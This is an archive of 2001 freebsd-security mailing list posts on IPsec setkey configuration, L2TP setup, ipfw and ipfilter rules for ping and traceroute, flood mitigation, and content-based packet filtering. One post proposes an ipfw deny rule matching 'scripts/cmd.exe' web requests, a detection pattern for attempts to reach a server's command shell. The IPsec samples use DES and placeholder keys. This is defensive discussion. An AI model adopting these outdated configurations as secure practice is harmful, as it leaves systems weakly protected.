	ah 0x1001 -m transport
	-A hmac-sha1 0x5468495369537468455465735441557448614c47 ;
add 192.168.1.20 192.168.1.30
	ah 0x1000 -m transport
	-A hmac-sha1 0x5468495369537468455465735441557448614c47 ;

spdadd 192.168.1.30 192.168.1.20 any
	-P out ipsec
		ah/transport/192.168.1.30-192.168.1.20/require ;
spdadd 192.168.1.20 192.168.1.30 any
	-P out ipsec
		ah/transport/192.168.1.20-192.168.1.30/use ;

--a8Wt8u1KmwUX3Y2C
Content-Type: text/plain; charset=us-ascii
Content-Description: freebsd configuration file
Content-Disposition: attachment; filename="ipsec.conf"

add 192.168.1.30 192.168.1.20 ah 1001 -m transport -A hmac-sha1 0x5468495369537468455465735441557448614c47 ;
add 192.168.1.20 192.168.1.30 ah 1002 -m transport -A hmac-sha1 0x5468495369537468455465735441557448614c47 ;
add 192.168.1.30 192.168.1.20 esp 2001 -m transport -E des-cbc 0x7061737368657265 ;
add 192.168.1.20 192.168.1.30 esp 2002 -m transport -E des-cbc 0x7061737368657265 ;

spdadd 192.168.1.30 192.168.1.20 any -P in ipsec
	ah/transport/192.168.1.30-192.168.1.20/require
	esp/transport/192.168.1.30-192.168.1.20/require ;

--a8Wt8u1KmwUX3Y2C--

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Fri Sep 28 12: 5:53 2001
Delivered-To: freebsd-security@freebsd.org
Received: from hotmail.com (oe48.pav1.hotmail.com [64.4.30.20])
	by hub.freebsd.org (Postfix) with ESMTP id 0F56537B403
	for <freebsd-security@freebsd.org>; Fri, 28 Sep 2001 12:05:48 -0700 (PDT)
Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Fri, 28 Sep 2001 12:05:44 -0700
X-Originating-IP: [216.95.234.92]
From: "jack xiao" <jack_xiao99@hotmail.com>
To: <freebsd-security@freebsd.org>
Subject: L2TP
Date: Fri, 28 Sep 2001 15:02:40 -0400
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0145_01C1482E.9E512CA0"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
Message-ID: <OE4833UKyM25IFKqhx200005910@hotmail.com>
X-OriginalArrivalTime: 28 Sep 2001 19:05:44.0570 (UTC) FILETIME=[931B2DA0:01C14850]
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

This is a multi-part message in MIME format.

------=_NextPart_000_0145_01C1482E.9E512CA0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hi,

I am going to set up L2TP tunnel under FreeBSD, and then set IPSEC over =
this tunnel. Because l2tpd is new for me, I need your help to configure =
it and then to confirm it can work under FreeBSD. Here is my question as =
follows,

1. In order to get l2tpd running, need I have ppp-2.3.3 or later =
version?
1.1 If I want to realize l2tp tunnel and pptp tunnel at the same time,
should I define 2 or more pseudo devices in the kenel's conf?
2. I want to use 2 FreeBSD to set up l2tp tunnel, is it possible?
3. I need some sample configuration about LAC and LNS?
4. In addition, I can not get enough document about L2TP. If possible,
could you give me more?

Thanks a lot!

Jack


------=_NextPart_000_0145_01C1482E.9E512CA0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2614.3500" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff><FONT face=3DArial size=3D2>
<DIV><FONT face=3DArial size=3D2>Hi,<BR><BR>I am going to&nbsp;set up =
L2TP tunnel=20
under FreeBSD, and then set IPSEC over this tunnel. Because l2tpd is new =
for me,=20
I need your help to configure it and then to confirm it can work under =
FreeBSD.=20
Here is my question as follows,<BR><BR>1. In order to get l2tpd running, =
need I=20
have ppp-2.3.3 or later version?<BR>1.1 If I want to realize l2tp tunnel =
and=20
pptp tunnel at the same time,<BR>should I define 2 or more pseudo =
devices in the=20
kenel's conf?<BR>2.&nbsp;I want to use 2 FreeBSD to set up l2tp tunnel, =
is it=20
possible?<BR>3.&nbsp;I need some sample configuration about LAC and =
LNS?<BR>4.=20
In addition, I can not get enough document about L2TP. If =
possible,<BR>could you=20
give me more?<BR><BR>Thanks a=20
lot!<BR><BR>Jack<BR></FONT></DIV></FONT></BODY></HTML>

------=_NextPart_000_0145_01C1482E.9E512CA0--

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Fri Sep 28 16:31:40 2001
Delivered-To: freebsd-security@freebsd.org
Received: from mail.webmonster.de (datasink.webmonster.de [194.162.162.209])
	by hub.freebsd.org (Postfix) with SMTP id C7A0837B40E
	for <security@FreeBSD.ORG>; Fri, 28 Sep 2001 16:31:27 -0700 (PDT)
Received: (qmail 37818 invoked by uid 1000); 28 Sep 2001 23:31:48 -0000
Date: Sat, 29 Sep 2001 01:31:48 +0200
From: "Karsten W. Rohrbach" <karsten@rohrbach.de>
To: gkshenaut@ucdavis.edu
Cc: security@FreeBSD.ORG
Subject: Re: How to config IPFW for enable ping and traceroute
Message-ID: <20010929013148.B37579@mail.webmonster.de>
Mail-Followup-To: "Karsten W. Rohrbach" <karsten@rohrbach.de>,
	gkshenaut@ucdavis.edu, security@FreeBSD.ORG
References: <20010927061935.UUFZ16495.mta10.onebox.com@onebox.com> <200109271736.f8RHZrA20332@thistle.bogs.org>
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-md5;
	protocol="application/pgp-signature"; boundary="4SFOXa2GPu3tIq4H"
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <200109271736.f8RHZrA20332@thistle.bogs.org>; from greg@bogslab.ucdavis.edu on Thu, Sep 27, 2001 at 10:35:53AM -0700
X-Arbitrary-Number-Of-The-Day: 42
X-URL: http://www.webmonster.de/
X-Disclaimer: My opinions do not necessarily represent those of my employer
X-Work-URL: http://www.ngenn.net/
X-Work-Address: nGENn GmbH, Schloss Kransberg, D-61250 Usingen-Kransberg, Germany
X-Work-Phone: +49-6081-682-304
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org


--4SFOXa2GPu3tIq4H
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

stateful rules woud be better, i don't know if this can be done with
ipfw (but i guess it should work somehow).
that's the ipfilter config for getting traceroute to work, for those who
are interested...

---excerpt from /etc/ipfilter.rules:
# traceroute udp outgoing
pass out proto udp from 0.0.0.0/32 to any port 33433 >< 33499
keep state

# icmp handling
# echo=3D8
pass in quick proto icmp from any to 0.0.0.0/32 icmp-type 8 keep state
pass out quick proto icmp from 0.0.0.0/32 to any icmp-type 8 keep state
# traceroute=3D30
pass in quick proto icmp from any to 0.0.0.0/32 icmp-type 30 keep state
pass out quick proto icmp from 0.0.0.0/32 to any icmp-type 30 keep state
block in log quick proto icmp from any to any
---

/k

Greg Shenaut(greg@bogslab.ucdavis.edu)@2001.09.27 10:35:53 +0000:
> In message <20010927061935.UUFZ16495.mta10.onebox.com@onebox.com>, "Chuti=
ma S." cleopede:
> >Hi
> >
> >I read from Firewall handbook as below:
> >icmptypes types=20
> >Matches if the ICMP type is present in the list types. The list may be
> >specified as any combination of ranges and/or individual types separated
> >by commas. Commonly used ICMP types are: 0 echo reply (ping reply), 3
> >destination unreachable, 5 redirect, 8 echo request (ping request), and
> >11 time exceeded (used to indicate TTL expiration as with traceroute(8)).
> >
> >So I config ipfw for icmp as following:
> >
> >ipfw add pass icmp from <internal> to any icmptypes 8
> >ipfw add pass icmp from any to <internal> icmptypes 0
> >ipfw add pass icmp from any to <internal> icmptypes 11
> >
> >I can ping but I can not traceroute.  Anything wrong with my config?
>=20
> Here is a scrap from the ksh script I use to generate my ipfw rules.
> It lets me ping and traceroute out, but accepts them only to my
> gateway box.  Note that it accepts any udp to a gateway interface
> in the standard range of traceroute ports (use of other ports will
> cause traceroute to fail).
>=20
> "add" adds the rule, "alias" adds the rule for each alias of my
> external interface (using "printf", hence the "%s").  Variables
> {if,ip,mask,net}0 correspond to my external link; "{if,ip,net,mask}X"
> where X is 1-9 correspond to one of my internal subnets.
>=20
> --- begin ---
> # ICMP
> # allow all ping and traceroute replies plus source quench
> add pass icmp from any to any icmptypes 0,3,4,11,12
>=20
> # Allow ping of firewall machine but not beyond
> alias pass icmp from any to %s icmptypes 8
> alias pass icmp from %s to any icmptypes 8
> # NOTE: the next rule is a limited insecurity
> alias pass udp from any to %s 33434-33523
> alias pass udp from %s to any 33434-33523
>=20
> # allow ping from any internal subnet
> for x in 1 2 3 4 5 6 7 8 9 ; do
> 	eval "iif=3D\$if$x"
> 	if [[ "$iif" =3D "" ]] ; then
> 		continue
> 	fi
> 	eval "inet=3D\$net$x"
> 	eval "imask=3D\$mask$x"
> 	eval "iip=3D\$ip$x"
> 	add pass icmp from ${inet}:${imask} to any icmptypes 8
> 	add pass udp from ${inet}:${imask} to any 33434-33523
> done
>=20
> # explicitly deny other icmp packets across firewall
> add deny icmp from any to any via ${if0}
> ---end---
>=20
> I hope this is helpful.
>=20
> Greg Shenaut
>=20
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-security" in the body of the message

--=20
> Get the all-new Microsoft[tm] IIS (Internet Intrusion Server[tm])! Out no=
w!
KR433/KR11-RIPE -- WebMonster Community Founder -- nGENn GmbH Senior Techie
http://www.webmonster.de/ -- ftp://ftp.webmonster.de/ -- http://www.ngenn.n=
et/
karsten&rohrbach.de -- alpha&ngenn.net -- alpha&scene.org -- catch@spam.de
GnuPG 0x2964BF46 2001-03-15 42F9 9FFF 50D4 2F38 DBEE  DF22 3340 4F4E 2964 B=
F46
Please do not remove my address from To: and Cc: fields in mailing lists. 1=
0x

--4SFOXa2GPu3tIq4H
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (FreeBSD)
Comment: For info see http://www.gnupg.org

iD4DBQE7tQhkM0BPTilkv0YRAkD9AJID7/0iAK1Psjhc2pFaae32IT7sAJ9McaTu
0RJetss750DUIHZiMGWRDQ==
=B+FO
-----END PGP SIGNATURE-----

--4SFOXa2GPu3tIq4H--

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Fri Sep 28 16:39:11 2001
Delivered-To: freebsd-security@freebsd.org
Received: from mail.webmonster.de (datasink.webmonster.de [194.162.162.209])
	by hub.freebsd.org (Postfix) with SMTP id DF6B437B408
	for <freebsd-security@FreeBSD.ORG>; Fri, 28 Sep 2001 16:39:03 -0700 (PDT)
Received: (qmail 37925 invoked by uid 1000); 28 Sep 2001 23:39:25 -0000
Date: Sat, 29 Sep 2001 01:39:25 +0200
From: "Karsten W. Rohrbach" <karsten@rohrbach.de>
To: Mike Tancsa <mike@sentex.net>
Cc: Ronan Lucio <ronan@melim.com.br>, freebsd-security@FreeBSD.ORG
Subject: Re: flood attacks
Message-ID: <20010929013925.C37579@mail.webmonster.de>
Mail-Followup-To: "Karsten W. Rohrbach" <karsten@rohrbach.de>,
	Mike Tancsa <mike@sentex.net>, Ronan Lucio <ronan@melim.com.br>,
	freebsd-security@FreeBSD.ORG
References: <Pine.BSF.4.33.0109270907350.1695-100000@R181172.resnet.ucsb.edu> <037601c14773$52a23da0$2aa8a8c0@melim.com.br> <5.1.0.14.0.20010927125302.048abb10@marble.sentex.ca>
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-md5;
	protocol="application/pgp-signature"; boundary="wxDdMuZNg1r63Hyj"
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <5.1.0.14.0.20010927125302.048abb10@marble.sentex.ca>; from mike@sentex.net on Thu, Sep 27, 2001 at 12:57:48PM -0400
X-Arbitrary-Number-Of-The-Day: 42
X-URL: http://www.webmonster.de/
X-Disclaimer: My opinions do not necessarily represent those of my employer
X-Work-URL: http://www.ngenn.net/
X-Work-Address: nGENn GmbH, Schloss Kransberg, D-61250 Usingen-Kransberg, Germany
X-Work-Phone: +49-6081-682-304
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org


--wxDdMuZNg1r63Hyj
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

just as a sidenote: some people from the net.community, prelude nids
projects and me are currently thinking about implementing a real network
intrusion management system which means that in the future we hopefully
will be able to do active countermeasure stuff concerning dos/ddos
and other network attacks.=20

there is no single line of code written yet, it's brainstorm and discussion
time at the moment. if you want to join the discussion check the archive
of the list [http://defender.webmonster.de/lists.html] and subscribe ;-)

cheers,
/k

Mike Tancsa(mike@sentex.net)@2001.09.27 12:57:48 +0000:
>=20
> The problem is that once its in your network, its too late so to speak. Y=
ou=20
> want to involve your ISP to get them to limit it before it traverses your=
=20
> link.  If you are lucky the packets are not random junk and you can block=
=20
> on the source IP.   Are they hitting the same port ? are they coming from=
=20
> random IPs ?  As someone said,
> sysctl -w net.inet.tcp.log_in_vain=3D1
> sysctl -w net.inet.ud.log_in_vain=3D1
>=20
> If they are not hitting random ports and hitting say your web server,
> ipfw add 10 count log tcp from any to me 80;sleep 10;ipfw delete 10
> and look at /var/log/security and see where the junk is coming from.
>=20
>          ---Mike
>=20
> At 01:41 PM 9/27/01 -0300, Ronan Lucio wrote:
> >Hi Dave,
> >
> >But, in my case, I looked at mrtg graphics and saw that
> >it had big flow during 1 hour.
> >So, I supposed to prevent such situation.
> >
> >[ ]=B4s
> >
> >Ronan Lucio
> >
> > > >     Limiting closed port RST response from 1800 to 200 packets per
> >second.
> > >
> > > Awhile back, I managed to reproduce this by portscanning myself with a
> > > very fast scanner which doesn't wait for any kind of response from the
> > > server before testing the next port.  The 1800 to 200 message thing s=
ounds
> > > quite general, so you could be getting flooded with lots of different
> > > kinds of data.  If the messages come in briefly and then stop for awh=
ile
> > > (rather than a continus flow) you could just be getting a fast port s=
can.
> > >
> > >
> > > To Unsubscribe: send mail to majordomo@FreeBSD.org
> > > with "unsubscribe freebsd-security" in the body of the message
> > >
> > >
> >
> >
> >To Unsubscribe: send mail to majordomo@FreeBSD.org
> >with "unsubscribe freebsd-security" in the body of the message
>=20
>=20
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-security" in the body of the message

--=20
> Nuclear war can ruin your whole compile. --Karl Lehenbauer
KR433/KR11-RIPE -- WebMonster Community Founder -- nGENn GmbH Senior Techie
http://www.webmonster.de/ -- ftp://ftp.webmonster.de/ -- http://www.ngenn.n=
et/
karsten&rohrbach.de -- alpha&ngenn.net -- alpha&scene.org -- catch@spam.de
GnuPG 0x2964BF46 2001-03-15 42F9 9FFF 50D4 2F38 DBEE  DF22 3340 4F4E 2964 B=
F46
Please do not remove my address from To: and Cc: fields in mailing lists. 1=
0x

--wxDdMuZNg1r63Hyj
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (FreeBSD)
Comment: For info see http://www.gnupg.org

iD8DBQE7tQotM0BPTilkv0YRAgY8AJ0b41pdhJxY7LdGn6eNIkZOM/0pTACgl3VX
ShrRcYWZYU34mVVZ0HcxoP0=
=N/3P
-----END PGP SIGNATURE-----

--wxDdMuZNg1r63Hyj--

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Fri Sep 28 17: 3:11 2001
Delivered-To: freebsd-security@freebsd.org
Received: from mailsrv.otenet.gr (mailsrv.otenet.gr [195.170.0.5])
	by hub.freebsd.org (Postfix) with ESMTP
	id F0AB537B415; Fri, 28 Sep 2001 17:02:46 -0700 (PDT)
Received: from hades.hell.gr (patr530-a031.otenet.gr [212.205.215.31])
	by mailsrv.otenet.gr (8.11.5/8.11.5) with ESMTP id f8T02fR17956;
	Sat, 29 Sep 2001 03:02:41 +0300 (EEST)
Received: (from charon@localhost)
	by hades.hell.gr (8.11.6/8.11.6) id f8S9O0Z44539;
	Fri, 28 Sep 2001 12:24:01 +0300 (EEST)
	(envelope-from charon@labs.gr)
Date: Fri, 28 Sep 2001 12:23:58 +0300
From: Giorgos Keramidas <charon@labs.gr>
To: Igor Podlesny <poige@morning.ru>
Cc: Van Mathers <vm28306@hotmail.com>, freebsd-isp@freebsd.org,
	freebsd-security@freebsd.org
Subject: Re: protect name services from denial of service?
Message-ID: <20010928122357.A44423@hades.hell.gr>
References: <F224lYbvhBISmT6QcWY0000981d@hotmail.com> <1731110523918.20010928105210@morning.ru>
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="gBBFr7Ir9EOA20Yy"
Content-Disposition: inline
In-Reply-To: <1731110523918.20010928105210@morning.ru>
User-Agent: Mutt/1.3.22.1i
X-GPG-Fingerprint: C1EB 0653 DB8B A557 3829  00F9 D60F 941A 3186 03B6
X-URL: http://labs.gr/~charon/
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org


--gBBFr7Ir9EOA20Yy
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Igor Podlesny <poige@morning.ru> wrote:
>=20
> > I've some FreeBSD based name servers for a government agency.
> > I'd like to develop some Denial of service prevention mechanism.
> > Can anyone recommend configurations or sysctl knobs to turn
> > to assist in DoS type attacks? Any advice or direction welcome
> > here. VM
>=20
> http://www.money-for-nothing.org/

Hmmm, forgive my ignorance.  But what would the ``official Dire Straits
homepage'' have to do with DNS attacks? :-/

-giorgos


--gBBFr7Ir9EOA20Yy
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (FreeBSD)

iD8DBQE7tEGt1g+UGjGGA7YRAortAJ4lmbm0hoE/aV751uKPrmkWqc7LpwCgxAMc
65iEnRB9eN89SYqu3XGEusQ=
=MtDL
-----END PGP SIGNATURE-----

--gBBFr7Ir9EOA20Yy--

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Fri Sep 28 22:36:26 2001
Delivered-To: freebsd-security@freebsd.org
Received: from ns.morning.ru (ns.morning.ru [195.161.98.5])
	by hub.freebsd.org (Postfix) with ESMTP id 115C537B406
	for <security@FreeBSD.ORG>; Fri, 28 Sep 2001 22:36:21 -0700 (PDT)
Received: from NDNM ([195.161.98.250])
	by ns.morning.ru (8.11.5/8.11.5) with ESMTP id f8T5aDG28846;
	Sat, 29 Sep 2001 13:36:13 +0800 (KRAST)
Date: Sat, 29 Sep 2001 13:36:35 +0800
From: Igor Podlesny <poige@morning.ru>
X-Mailer: The Bat! (v1.53d) UNREG / CD5BF9353B3B7091
Organization: Morning Network
X-Priority: 3 (Normal)
Message-ID: <15566616118.20010929133635@morning.ru>
To: "Mire, John" <jmire@lsuhsc.edu>
Cc: Mike Tancsa <mike@sentex.net>, security@FreeBSD.ORG
Subject: Re[2]: inspecting data with ipfw (ala hogwash)
In-Reply-To: <DAC809EAC7E4594AA0696EF512F6ABF104521B90@sh-exch>
References: <DAC809EAC7E4594AA0696EF512F6ABF104521B90@sh-exch>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org



> our use of snort seems to indicate that fragmenting the code doesn't work
> b/c of the frag2 preprocessor that reassembles packets and sends them
> through the detection engine...

snort is snort, it has tcp processor :-)

> -----Original Message-----
> From: Igor Podlesny [mailto:poige@morning.ru]
> Sent: Thursday, September 27, 2001 22:50
> To: Mike Tancsa
> Cc: security@FreeBSD.ORG
> Subject: Re: inspecting data with ipfw (ala hogwash)



>> Does anyone know of any patches similar in function to what hogwash does ?

>> (http://hogwash.sourceforge.net).  Basically something to deny packets 
>> based on the content of the packets.  With the latest iptables on LINUX, 
>> you can now do matching on data portion as well.  Something like

>> ipfw add 666 deny log tcp from any to me 80 data "*scripts/cmd.exe*" ?

> What  if  somebody  just  wanted to PUT a description containing these
> strings? ;-)

> Then,  really  cool  nuts  could  fragment  up the exploit code to the
> unrecognizeable (sorry for that term ;-), by this approach, state.

> Another  interesting  question  is  "What  should  be done to this TCP
> session".  For  e.g.,  this data wasn't in initial SYN segment, so the
> connection has been established. At least I can say that 'deny' is too
> harmful here, I suggest using 'reset' or 'unreach'. And one more thing
> to remember -- lots of ppl use statefull firewall set-up.

> In  common,  I agree that the idea is interesting... and in freebsd it
> could be implemented with something like 'divert' and 'NATPd' (Network
> Attack Tracking & Preventing ;-) which could be a userland daemon just
> like NATd is.

> BTW, thanx for the URL!

>> would be what I am after

>>         ---Mike

>> --------------------------------------------------------------------
>> Mike Tancsa,                                      tel +1 519 651 3400
>> Sentex Communications,                            mike@sentex.net
>> Providing Internet since 1994                    www.sentex.net
>> Cambridge, Ontario Canada                         www.sentex.net/mike


>> To Unsubscribe: send mail to majordomo@FreeBSD.org
>> with "unsubscribe freebsd-security" in the body of the message






-- 
 Igor                            mailto:poige@morning.ru


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Sat Sep 29 13:29: 2 2001
Delivered-To: freebsd-security@freebsd.org
Received: from moutvdom01.kundenserver.de (moutvdom01.kundenserver.de [195.20.224.200])
	by hub.freebsd.org (Postfix) with ESMTP id F3A4237B405
	for <security@freebsd.org>; Sat, 29 Sep 2001 13:28:55 -0700 (PDT)
Received: from [195.20.224.208] (helo=mrvdom01.schlund.de)
	by moutvdom01.kundenserver.de with esmtp (Exim 2.12 #2)
	id 15nQjG-0004m9-00
	for security@freebsd.org; Sat, 29 Sep 2001 22:28:54 +0200
Received: from pec-41-223.tnt4.f.uunet.de ([149.225.41.223] helo=caesar.mh57.net)
	by mrvdom01.schlund.de with esmtp (Exim 2.12 #2)
	id 15nQjG-0005Ar-00
	for security@FreeBSD.ORG; Sat, 29 Sep 2001 22:28:54 +0200
Received: (from martin@localhost)
	by caesar.mh57.net (8.11.5/8.11.3) id f8TKUEh95047
	for security@FreeBSD.ORG; Sat, 29 Sep 2001 22:30:14 +0200 (CEST)
	(envelope-from martin@mh57.net)
Date: Sat, 29 Sep 2001 22:30:05 +0200
From: Martin Hermanowski <martin@mh57.net>
To: security@FreeBSD.ORG
Subject: ipfw logging complete packets
Message-ID: <20010929223004.M70637@mh57.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
X-PGP-Fingerprint: 3A8B 6A9A 3353 8CE7 9C95  31C8 0277 FA58 1FEA 0DF4
X-PGP-Key-ID: 1FEA0DF4
X-PGP-Key-At: http://empyreum.de/pgp-keys/MH.asc
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

Hi list,
I would like not only to log some ip packets with ipfw, but to write
them to a file, preferred in a format compatible to tcpdump.

Is there a way to do this?

best regards,
Martin

-- 
PGP/GPG encrypted mail preferred, see header
,-- 
| Nur tote Fische schwimmen mit dem Strom
`--

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Sat Sep 29 14:29:13 2001
Delivered-To: freebsd-security@freebsd.org
Received: from lariat.org (lariat.org [12.23.109.2])
	by hub.freebsd.org (Postfix) with ESMTP id 1E9A437B410
	for <security@FreeBSD.ORG>; Sat, 29 Sep 2001 14:25:53 -0700 (PDT)
Received: from mustang.lariat.org (IDENT:ppp0.lariat.org@lariat.org [12.23.109.2])
	by lariat.org (8.9.3/8.9.3) with ESMTP id PAA17203;
	Sat, 29 Sep 2001 15:25:39 -0600 (MDT)
Message-Id: <4.3.2.7.2.20010929152010.043d0da0@localhost>
X-Sender: brett@localhost
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Sat, 29 Sep 2001 15:21:41 -0600
To: Martin Hermanowski <martin@mh57.net>, security@FreeBSD.ORG
From: Brett Glass <brett@lariat.org>
Subject: Re: ipfw logging complete packets
In-Reply-To: <20010929223004.M70637@mh57.net>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

Not built-in, as far as I know. But you could force the packets
to be sent to a divert(4) socket, and a program listening on the 
socket could then write them to a file in the format of your choice.

--Brett

At 02:30 PM 9/29/2001, Martin Hermanowski wrote:
  
>Hi list,
>I would like not only to log some ip packets with ipfw, but to write
>them to a file, preferred in a format compatible to tcpdump.
>
>Is there a way to do this?
>
>best regards,
>Martin
>
>-- 
>PGP/GPG encrypted mail preferred, see header
>,-- 
>| Nur tote Fische schwimmen mit dem Strom
>`--
>
>To Unsubscribe: send mail to majordomo@FreeBSD.org
>with "unsubscribe freebsd-security" in the body of the message


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message